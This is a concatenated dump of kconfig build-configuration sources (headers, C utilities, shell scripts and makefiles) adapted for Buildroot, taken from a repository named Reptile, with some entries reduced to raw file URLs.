115 | struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep);
116 | struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep);
117 | void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep);
118 | void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep);
119 | void menu_add_option(int token, char *arg);
120 | void menu_finalize(struct menu *parent);
121 | void menu_set_type(int type);
122 |
123 | /* util.c */
124 | struct file *file_lookup(const char *name);
125 | int file_write_dep(const char *name);
126 | void *xmalloc(size_t size);
127 | void *xcalloc(size_t nmemb, size_t size);
128 |
129 | struct gstr {
130 | size_t len;
131 | char *s;
132 | /*
133 | * when max_width is not zero long lines in string s (if any) get
134 | * wrapped not to exceed the max_width value
135 | */
136 | int max_width;
137 | };
138 | struct gstr str_new(void);
139 | struct gstr str_assign(const char *s);
140 | void str_free(struct gstr *gs);
141 | void str_append(struct gstr *gs, const char *s);
142 | void str_printf(struct gstr *gs, const char *fmt, ...);
143 | const char *str_get(struct gstr *gs);
144 |
145 | /* symbol.c */
146 | extern struct expr *sym_env_list;
147 |
148 | void sym_init(void);
149 | void sym_clear_all_valid(void);
150 | void sym_set_all_changed(void);
151 | void sym_set_changed(struct symbol *sym);
152 | struct symbol *sym_choice_default(struct symbol *sym);
153 | const char *sym_get_string_default(struct symbol *sym);
154 | struct symbol *sym_check_deps(struct symbol *sym);
155 | struct property *prop_alloc(enum prop_type type, struct symbol *sym);
156 | struct symbol *prop_get_symbol(struct property *prop);
157 | struct property *sym_get_env_prop(struct symbol *sym);
158 |
159 | static inline tristate sym_get_tristate_value(struct symbol *sym)
160 | {
161 | return sym->curr.tri;
162 | }
163 |
164 |
165 | static inline struct symbol *sym_get_choice_value(struct symbol *sym)
166 | {
167 | return (struct symbol *)sym->curr.val;
168 | }
169 |
170 | static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval)
171 | {
172 | return sym_set_tristate_value(chval, yes);
173 | }
174 |
175 | static inline bool sym_is_choice(struct symbol *sym)
176 | {
177 | return sym->flags & SYMBOL_CHOICE ? true : false;
178 | }
179 |
180 | static inline bool sym_is_choice_value(struct symbol *sym)
181 | {
182 | return sym->flags & SYMBOL_CHOICEVAL ? true : false;
183 | }
184 |
185 | static inline bool sym_is_optional(struct symbol *sym)
186 | {
187 | return sym->flags & SYMBOL_OPTIONAL ? true : false;
188 | }
189 |
190 | static inline bool sym_has_value(struct symbol *sym)
191 | {
192 | return sym->flags & SYMBOL_DEF_USER ? true : false;
193 | }
194 |
195 | #ifdef __cplusplus
196 | }
197 | #endif
198 |
199 | #endif /* LKC_H */
200 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/100-kconfig-generic-env.patch/merge_config.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # merge_config.sh - Takes a list of config fragment values, and merges
3 | # them one by one. Provides warnings on overridden values, and specified
4 | # values that did not make it to the resulting .config file (due to missed
5 | # dependencies or config symbol removal).
6 | #
7 | # Portions reused from kconf_check and generate_cfg:
8 | # http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/kconf_check
9 | # http://git.yoctoproject.org/cgit/cgit.cgi/yocto-kernel-tools/tree/tools/generate_cfg
10 | #
11 | # Copyright (c) 2009-2010 Wind River Systems, Inc.
12 | # Copyright 2011 Linaro
13 | #
14 | # This program is free software; you can redistribute it and/or modify
15 | # it under the terms of the GNU General Public License version 2 as
16 | # published by the Free Software Foundation.
17 | #
18 | # This program is distributed in the hope that it will be useful,
19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
21 | # See the GNU General Public License for more details.
22 |
23 | clean_up() {
24 | rm -f $TMP_FILE
25 | exit
26 | }
27 | trap clean_up HUP INT TERM
28 |
29 | usage() {
30 | echo "Usage: $0 [OPTIONS] [CONFIG [...]]"
31 | echo " -h display this help text"
32 | echo " -m only merge the fragments, do not execute the make command"
33 | echo " -n use allnoconfig instead of alldefconfig"
34 | echo " -r list redundant entries when merging fragments"
35 | echo " -O dir to put generated output files"
36 | }
37 |
38 | MAKE=true
39 | ALLTARGET=alldefconfig
40 | WARNREDUN=false
41 | OUTPUT=.
42 |
43 | while true; do
44 | case $1 in
45 | "-n")
46 | ALLTARGET=allnoconfig
47 | shift
48 | continue
49 | ;;
50 | "-m")
51 | MAKE=false
52 | shift
53 | continue
54 | ;;
55 | "-h")
56 | usage
57 | exit
58 | ;;
59 | "-r")
60 | WARNREDUN=true
61 | shift
62 | continue
63 | ;;
64 | "-O")
65 | if [ -d $2 ];then
66 | OUTPUT=$(echo $2 | sed 's/\/*$//')
67 | else
68 | echo "output directory $2 does not exist" 1>&2
69 | exit 1
70 | fi
71 | shift 2
72 | continue
73 | ;;
74 | *)
75 | break
76 | ;;
77 | esac
78 | done
79 |
80 | INITFILE=$1
81 | shift;
82 |
83 | MERGE_LIST=$*
84 | SED_CONFIG_EXP="s/^\(# \)\{0,1\}\(CONFIG_[a-zA-Z0-9_]*\)[= ].*/\2/p"
85 | TMP_FILE=$(mktemp ./.tmp.config.XXXXXXXXXX)
86 |
87 | echo "Using $INITFILE as base"
88 | cat $INITFILE > $TMP_FILE
89 |
90 | # Merge files, printing warnings on overrided values
91 | for MERGE_FILE in $MERGE_LIST ; do
92 | echo "Merging $MERGE_FILE"
93 | CFG_LIST=$(sed -n "$SED_CONFIG_EXP" $MERGE_FILE)
94 |
95 | for CFG in $CFG_LIST ; do
96 | grep -q -w $CFG $TMP_FILE
97 | if [ $? -eq 0 ] ; then
98 | PREV_VAL=$(grep -w $CFG $TMP_FILE)
99 | NEW_VAL=$(grep -w $CFG $MERGE_FILE)
100 | if [ "x$PREV_VAL" != "x$NEW_VAL" ] ; then
101 | echo Value of $CFG is redefined by fragment $MERGE_FILE:
102 | echo Previous value: $PREV_VAL
103 | echo New value: $NEW_VAL
104 | echo
105 | elif [ "$WARNREDUN" = "true" ]; then
106 | echo Value of $CFG is redundant by fragment $MERGE_FILE:
107 | fi
108 | sed -i "/$CFG[ =]/d" $TMP_FILE
109 | fi
110 | done
111 | cat $MERGE_FILE >> $TMP_FILE
112 | done
113 |
114 | if [ "$MAKE" = "false" ]; then
115 | cp $TMP_FILE $OUTPUT/.config
116 | echo "#"
117 | echo "# merged configuration written to $OUTPUT/.config (needs make)"
118 | echo "#"
119 | clean_up
120 | exit
121 | fi
122 |
123 | # If we have an output dir, setup the O= argument, otherwise leave
124 | # it blank, since O=. will create an unnecessary ./source softlink
125 | OUTPUT_ARG=""
126 | if [ "$OUTPUT" != "." ] ; then
127 | OUTPUT_ARG="O=$OUTPUT"
128 | fi
129 |
130 |
131 | # Use the merged file as the starting point for:
132 | # alldefconfig: Fills in any missing symbols with Kconfig default
133 | # allnoconfig: Fills in any missing symbols with # CONFIG_* is not set
134 | make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET
135 |
136 |
137 | # Check all specified config values took (might have missed-dependency issues)
138 | for CFG in $(sed -n "$SED_CONFIG_EXP" $TMP_FILE); do
139 |
140 | REQUESTED_VAL=$(grep -w -e "$CFG" $TMP_FILE)
141 | ACTUAL_VAL=$(grep -w -e "$CFG" $OUTPUT/.config)
142 | if [ "x$REQUESTED_VAL" != "x$ACTUAL_VAL" ] ; then
143 | echo "Value requested for $CFG not in final .config"
144 | echo "Requested value: $REQUESTED_VAL"
145 | echo "Actual value: $ACTUAL_VAL"
146 | echo ""
147 | fi
148 | done
149 |
150 | clean_up
151 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/101-kconfig-build.patch/README:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/101-kconfig-build.patch/README
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # Check ncurses compatibility
3 |
4 | # What library to link
5 | ldflags()
6 | {
7 | pkg-config --libs ncursesw 2>/dev/null && exit
8 | pkg-config --libs ncurses 2>/dev/null && exit
9 | for ext in so a dll.a dylib ; do
10 | for lib in ncursesw ncurses curses ; do
11 | $cc -print-file-name=lib${lib}.${ext} | grep -q /
12 | if [ $? -eq 0 ]; then
13 | echo "-l${lib}"
14 | exit
15 | fi
16 | done
17 | done
18 | exit 1
19 | }
20 |
21 | # Where is ncurses.h?
22 | ccflags()
23 | {
24 | if [ -f /usr/include/ncursesw/curses.h ]; then
25 | echo '-I/usr/include/ncursesw -DCURSES_LOC=""'
26 | echo ' -DNCURSES_WIDECHAR=1'
27 | elif [ -f /usr/include/ncurses/ncurses.h ]; then
28 | echo '-I/usr/include/ncurses -DCURSES_LOC=""'
29 | elif [ -f /usr/include/ncurses/curses.h ]; then
30 | echo '-I/usr/include/ncurses -DCURSES_LOC=""'
31 | elif [ -f /usr/include/ncurses.h ]; then
32 | echo '-DCURSES_LOC=""'
33 | else
34 | echo '-DCURSES_LOC=""'
35 | fi
36 | }
37 |
38 | # Temp file, try to clean up after us
39 | tmp=.lxdialog.tmp
40 | trap "rm -f $tmp" 0 1 2 3 15
41 |
42 | # Check if we can link to ncurses
43 | check() {
44 | $cc -x c - -o $tmp 2>/dev/null <<'EOF'
45 | #include CURSES_LOC
46 | main() {}
47 | EOF
48 | if [ $? != 0 ]; then
49 | echo " *** Unable to find the ncurses libraries or the" 1>&2
50 | echo " *** required header files." 1>&2
51 | echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2
52 | echo " *** " 1>&2
53 | echo " *** Install ncurses (ncurses-devel) and try again." 1>&2
54 | echo " *** " 1>&2
55 | exit 1
56 | fi
57 | }
58 |
59 | usage() {
60 | printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n"
61 | }
62 |
63 | if [ $# -eq 0 ]; then
64 | usage
65 | exit 1
66 | fi
67 |
68 | cc=""
69 | case "$1" in
70 | "-check")
71 | shift
72 | cc="$@"
73 | check
74 | ;;
75 | "-ccflags")
76 | ccflags
77 | ;;
78 | "-ldflags")
79 | shift
80 | cc="$@"
81 | ldflags
82 | ;;
83 | "*")
84 | usage
85 | exit 1
86 | ;;
87 | esac
88 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002-2005 Roman Zippel
3 | * Copyright (C) 2002-2005 Sam Ravnborg
4 | *
5 | * Released under the terms of the GNU GPL v2.0.
6 | */
7 |
8 | #include
9 | #include
10 | #include
11 | #include "lkc.h"
12 |
13 | /* file already present in list? If not add it */
14 | struct file *file_lookup(const char *name)
15 | {
16 | struct file *file;
17 | const char *file_name = sym_expand_string_value(name);
18 |
19 | for (file = file_list; file; file = file->next) {
20 | if (!strcmp(name, file->name)) {
21 | free((void *)file_name);
22 | return file;
23 | }
24 | }
25 |
26 | file = xmalloc(sizeof(*file));
27 | memset(file, 0, sizeof(*file));
28 | file->name = file_name;
29 | file->next = file_list;
30 | file_list = file;
31 | return file;
32 | }
33 |
34 | /* write a dependency file as used by kbuild to track dependencies */
35 | int file_write_dep(const char *name)
36 | {
37 | struct symbol *sym, *env_sym;
38 | struct expr *e;
39 | struct file *file;
40 | FILE *out;
41 |
42 | if (!name)
43 | name = ".kconfig.d";
44 | out = fopen("..config.tmp", "w");
45 | if (!out)
46 | return 1;
47 | fprintf(out, "deps_config := \\\n");
48 | for (file = file_list; file; file = file->next) {
49 | if (file->next)
50 | fprintf(out, "\t%s \\\n", file->name);
51 | else
52 | fprintf(out, "\t%s\n", file->name);
53 | }
54 | fprintf(out, "\n%s: \\\n"
55 | "\t$(deps_config)\n\n", conf_get_autoconfig_name());
56 |
57 | expr_list_for_each_sym(sym_env_list, e, sym) {
58 | struct property *prop;
59 | const char *value;
60 |
61 | prop = sym_get_env_prop(sym);
62 | env_sym = prop_get_symbol(prop);
63 | if (!env_sym)
64 | continue;
65 | value = getenv(env_sym->name);
66 | if (!value)
67 | value = "";
68 | fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value);
69 | fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name());
70 | fprintf(out, "endif\n");
71 | }
72 |
73 | fprintf(out, "\n$(deps_config): ;\n");
74 | fclose(out);
75 | rename("..config.tmp", name);
76 | return 0;
77 | }
78 |
79 |
80 | /* Allocate initial growable string */
81 | struct gstr str_new(void)
82 | {
83 | struct gstr gs;
84 | gs.s = xmalloc(sizeof(char) * 64);
85 | gs.len = 64;
86 | gs.max_width = 0;
87 | strcpy(gs.s, "\0");
88 | return gs;
89 | }
90 |
91 | /* Allocate and assign growable string */
92 | struct gstr str_assign(const char *s)
93 | {
94 | struct gstr gs;
95 | gs.s = strdup(s);
96 | gs.len = strlen(s) + 1;
97 | gs.max_width = 0;
98 | return gs;
99 | }
100 |
101 | /* Free storage for growable string */
102 | void str_free(struct gstr *gs)
103 | {
104 | if (gs->s)
105 | free(gs->s);
106 | gs->s = NULL;
107 | gs->len = 0;
108 | }
109 |
110 | /* Append to growable string */
111 | void str_append(struct gstr *gs, const char *s)
112 | {
113 | size_t l;
114 | if (s) {
115 | l = strlen(gs->s) + strlen(s) + 1;
116 | if (l > gs->len) {
117 | gs->s = realloc(gs->s, l);
118 | gs->len = l;
119 | }
120 | strcat(gs->s, s);
121 | }
122 | }
123 |
124 | /* Append printf formatted string to growable string */
125 | void str_printf(struct gstr *gs, const char *fmt, ...)
126 | {
127 | va_list ap;
128 | char s[10000]; /* big enough... */
129 | va_start(ap, fmt);
130 | vsnprintf(s, sizeof(s), fmt, ap);
131 | str_append(gs, s);
132 | va_end(ap);
133 | }
134 |
135 | /* Retrieve value of growable string */
136 | const char *str_get(struct gstr *gs)
137 | {
138 | return gs->s;
139 | }
140 |
141 | void *xmalloc(size_t size)
142 | {
143 | void *p = malloc(size);
144 | if (p)
145 | return p;
146 | fprintf(stderr, "Out of memory.\n");
147 | exit(1);
148 | }
149 |
150 | void *xcalloc(size_t nmemb, size_t size)
151 | {
152 | void *p = calloc(nmemb, size);
153 | if (p)
154 | return p;
155 | fprintf(stderr, "Out of memory.\n");
156 | exit(1);
157 | }
158 |
159 |
160 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/16-fix-space-to-de-select-options.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/applied-patches:
--------------------------------------------------------------------------------
1 | 01-kconfig-kernel-to-buildroot.patch
2 | 10-br-build-system.patch
3 | 11-use-mktemp-for-lxdialog.patch
4 | 12-fix-glade-file-path.patch
5 | 14-support-out-of-tree-config.patch
6 | 15-fix-qconf-moc-rule.patch
7 | 16-fix-space-to-de-select-options.patch
8 | 100-kconfig-generic-env.patch
9 | 101-kconfig-build.patch
10 |
--------------------------------------------------------------------------------
/scripts/kconfig/GNUmakefile:
--------------------------------------------------------------------------------
1 | #
2 | # Default stand alone makefile for kconfig.
3 | #
4 | # The Makefile and Makefile.br in this directory should
5 | # not be called directly for standalone build.
6 | # Actually they are included by this makefile.
7 | #
8 |
9 | ##
10 | # Makefile parameters.
11 | #
12 | # The parameters are configured as for kernel build
13 | # by default. Override them for your application
14 | # setting.
15 | #
16 |
17 | # TOP srcdir and this srcdir (relative to TOPDIR)
18 | TOPDIR=.
19 | SRCDIR=.
20 |
21 | # O: output directory (objs/exes), default to src dir
22 | O=$(TOPDIR)/$(SRCDIR)
23 |
24 | # Build configuration
25 | KBUILD_KCONFIG=Kconfig
26 | KBUILD_CONFIG_DIR=configs
27 | KBUILD_DEFCONFIG=defconfig
28 |
29 | # Product information (exported)
30 | export PRODUCT_ENV=KCONFIG
31 | export PRODUCT=Kernel
32 | export PRODUCT_VERSION=
33 | export PRODUCT_DOMAIN=kernel.org
34 |
35 | # Kconfig configuration (exported)
36 | export $(PRODUCT_ENV)_CONFIG=.config
37 |
38 |
39 | # End of Makefile parameters.
40 | ##
41 |
42 | ##
43 | # Makefile adaptation/inclusion.
44 |
45 | # Buid vars
46 | HOSTCC=$(CC)
47 | HOSTCXX=$(CXX)
48 | HOSTCFLAGS=-O2 -g
49 | HOSTCXXFLAGS=-O2 -g
50 | srctree=$(TOPDIR)
51 | src=$(TOPDIR)/$(SRCDIR)
52 | obj=$(O)
53 |
54 | # Enable execution from Makefile *conf programs
55 | export PATH:=$(PATH):$(obj)
56 |
57 | include $(TOPDIR)/$(SRCDIR)/Makefile.br
58 |
59 | # End of Makefile adaptation/inclusion.
60 | ##
61 |
--------------------------------------------------------------------------------
/scripts/kconfig/Makefile.br:
--------------------------------------------------------------------------------
1 | src ?= .
2 | top_srcdir ?= ../../
3 | top_builddir ?= ../../
4 | srctree ?= .
5 | obj ?= .
6 |
7 | include $(src)/Makefile
8 | #HOSTCFLAGS+=-Dinline="" -include foo.h
9 | -include $(obj)/.depend
10 | $(obj)/.depend: $(wildcard *.h *.c)
11 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || :
12 | @echo " HOSTCC $@"
13 |
14 | __hostprogs := $(sort $(hostprogs-y) $(hostprogs-m))
15 | host-csingle := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m))))
16 | host-cmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\
17 | $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m)))))
18 | host-cxxmulti := $(addprefix $(obj)/,$(foreach m,$(__hostprogs),\
19 | $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),))))
20 | host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs))))
21 | host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs))))
22 |
23 | HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\"
24 |
25 | $(host-csingle): %: %.c
26 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $< -o $@
27 | @echo " HOSTCC $@"
28 |
29 | $(host-cmulti): %: $(host-cobjs) $(host-cshlib)
30 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $@
31 | @echo " HOSTLD $@"
32 |
33 | $(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib)
34 | @$(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $@
35 | @echo " HOSTLD $@"
36 |
37 | $(obj)/%.o: %.c
38 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
39 | @echo " HOSTCC $@"
40 |
41 | $(obj)/%.o: $(obj)/%.c
42 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@
43 | @echo " HOSTCC $@"
44 |
45 | $(obj)/%.o: %.cc
46 | @$(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@
47 | @echo " HOSTCC $@"
48 |
49 | $(obj)/%:: $(src)/%_shipped
50 | @$(Q)cat $< > $@
51 |
52 | clean:
53 | $(Q)rm -f $(addprefix $(obj)/,$(clean-files))
54 | distclean: clean
55 | $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \
56 | $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \
57 | mconf .depend)
58 |
59 | FORCE:
60 | .PHONY: FORCE clean distclean
61 |
--------------------------------------------------------------------------------
/scripts/kconfig/POTFILES.in:
--------------------------------------------------------------------------------
1 | scripts/kconfig/lxdialog/checklist.c
2 | scripts/kconfig/lxdialog/inputbox.c
3 | scripts/kconfig/lxdialog/menubox.c
4 | scripts/kconfig/lxdialog/textbox.c
5 | scripts/kconfig/lxdialog/util.c
6 | scripts/kconfig/lxdialog/yesno.c
7 | scripts/kconfig/mconf.c
8 | scripts/kconfig/conf.c
9 | scripts/kconfig/confdata.c
10 | scripts/kconfig/gconf.c
11 | scripts/kconfig/gconf.glade.h
12 | scripts/kconfig/qconf.cc
13 |
--------------------------------------------------------------------------------
/scripts/kconfig/README.buildroot:
--------------------------------------------------------------------------------
1 | This is a copy of the kconfig code in the kernel (currently 3.13-rc5) tweaked
2 | to suit Buildroot.
3 |
4 | To update:
5 | cp -r /usr/src/linux/scripts/kconfig support/kconfig.new
6 | cd support/kconfig.new
7 | cp -a ../kconfig/patches ../kconfig/README.buildroot ../kconfig/.gitignore .
8 | quilt push -a
9 | # Fix any conflict
10 | cd ..
11 | rm -rf kconfig
12 | mv kconfig.new kconfig
13 |
14 | Then verify the toplevel targets work:
15 | config
16 | defconfig
17 | menuconfig
18 | xconfig
19 | gconfig
20 | oldconfig
21 |
--------------------------------------------------------------------------------
/scripts/kconfig/check.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # Needed for systems without gettext
3 | $* -x c -o /dev/null - > /dev/null 2>&1 << EOF
4 | #include
5 | int main()
6 | {
7 | gettext("");
8 | return 0;
9 | }
10 | EOF
11 | if [ ! "$?" -eq "0" ]; then
12 | echo -DKBUILD_NO_NLS;
13 | fi
14 |
15 |
--------------------------------------------------------------------------------
/scripts/kconfig/config.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # usage: kconfig/config.sh
4 | #
5 | # Runs the requested configuration from
6 | # the directory to be configured.
7 | #
8 | # For instance:
9 | # cd myproject/
10 | # kconfig/config.sh menuconfig
11 | #
12 | # Will generated a 'config' file in
13 | # myproject/ from the 'Kconfig' file
14 | # in myproject/
15 | #
16 |
17 | set -e
18 | dir=`dirname $0`
19 | topdir=`dirname $dir`
20 | srcdir=`basename $dir`
21 | kconfig_targets="${1-config}"
22 | set +x
23 | exec make -f $dir/GNUmakefile \
24 | TOPDIR=$topdir \
25 | SRCDIR=$srcdir \
26 | $kconfig_targets
27 |
--------------------------------------------------------------------------------
/scripts/kconfig/expr.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002 Roman Zippel
3 | * Released under the terms of the GNU GPL v2.0.
4 | */
5 |
6 | #ifndef EXPR_H
7 | #define EXPR_H
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 |
13 | #include
14 | #include
15 | #include "list.h"
16 | #ifndef __cplusplus
17 | #include
18 | #endif
19 |
20 | struct file {
21 | struct file *next;
22 | struct file *parent;
23 | const char *name;
24 | int lineno;
25 | };
26 |
27 | typedef enum tristate {
28 | no, mod, yes
29 | } tristate;
30 |
31 | enum expr_type {
32 | E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE
33 | };
34 |
35 | union expr_data {
36 | struct expr *expr;
37 | struct symbol *sym;
38 | };
39 |
40 | struct expr {
41 | enum expr_type type;
42 | union expr_data left, right;
43 | };
44 |
45 | #define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2))
46 | #define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2))
47 | #define EXPR_NOT(dep) (2-(dep))
48 |
49 | #define expr_list_for_each_sym(l, e, s) \
50 | for (e = (l); e && (s = e->right.sym); e = e->left.expr)
51 |
52 | struct expr_value {
53 | struct expr *expr;
54 | tristate tri;
55 | };
56 |
57 | struct symbol_value {
58 | void *val;
59 | tristate tri;
60 | };
61 |
62 | enum symbol_type {
63 | S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER
64 | };
65 |
66 | /* enum values are used as index to symbol.def[] */
67 | enum {
68 | S_DEF_USER, /* main user value */
69 | S_DEF_AUTO, /* values read from auto.conf */
70 | S_DEF_DEF3, /* Reserved for UI usage */
71 | S_DEF_DEF4, /* Reserved for UI usage */
72 | S_DEF_COUNT
73 | };
74 |
75 | struct symbol {
76 | struct symbol *next;
77 | char *name;
78 | enum symbol_type type;
79 | struct symbol_value curr;
80 | struct symbol_value def[S_DEF_COUNT];
81 | tristate visible;
82 | int flags;
83 | struct property *prop;
84 | struct expr_value dir_dep;
85 | struct expr_value rev_dep;
86 | };
87 |
88 | #define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER)
89 |
90 | #define SYMBOL_CONST 0x0001 /* symbol is const */
91 | #define SYMBOL_CHECK 0x0008 /* used during dependency checking */
92 | #define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */
93 | #define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */
94 | #define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */
95 | #define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */
96 | #define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */
97 | #define SYMBOL_CHANGED 0x0400 /* ? */
98 | #define SYMBOL_AUTO 0x1000 /* value from environment variable */
99 | #define SYMBOL_CHECKED 0x2000 /* used during dependency checking */
100 | #define SYMBOL_WARNED 0x8000 /* warning has been issued */
101 |
102 | /* Set when symbol.def[] is used */
103 | #define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */
104 | #define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */
105 | #define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */
106 | #define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */
107 | #define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */
108 |
109 | /* choice values need to be set before calculating this symbol value */
110 | #define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000
111 |
112 | #define SYMBOL_MAXLENGTH 256
113 | #define SYMBOL_HASHSIZE 9973
114 |
115 | /* A property represent the config options that can be associated
116 | * with a config "symbol".
117 | * Sample:
118 | * config FOO
119 | * default y
120 | * prompt "foo prompt"
121 | * select BAR
122 | * config BAZ
123 | * int "BAZ Value"
124 | * range 1..255
125 | */
126 | enum prop_type {
127 | P_UNKNOWN,
128 | P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */
129 | P_COMMENT, /* text associated with a comment */
130 | P_MENU, /* prompt associated with a menuconfig option */
131 | P_DEFAULT, /* default y */
132 | P_CHOICE, /* choice value */
133 | P_SELECT, /* select BAR */
134 | P_RANGE, /* range 7..100 (for a symbol) */
135 | P_ENV, /* value from environment variable */
136 | P_SYMBOL, /* where a symbol is defined */
137 | };
138 |
139 | struct property {
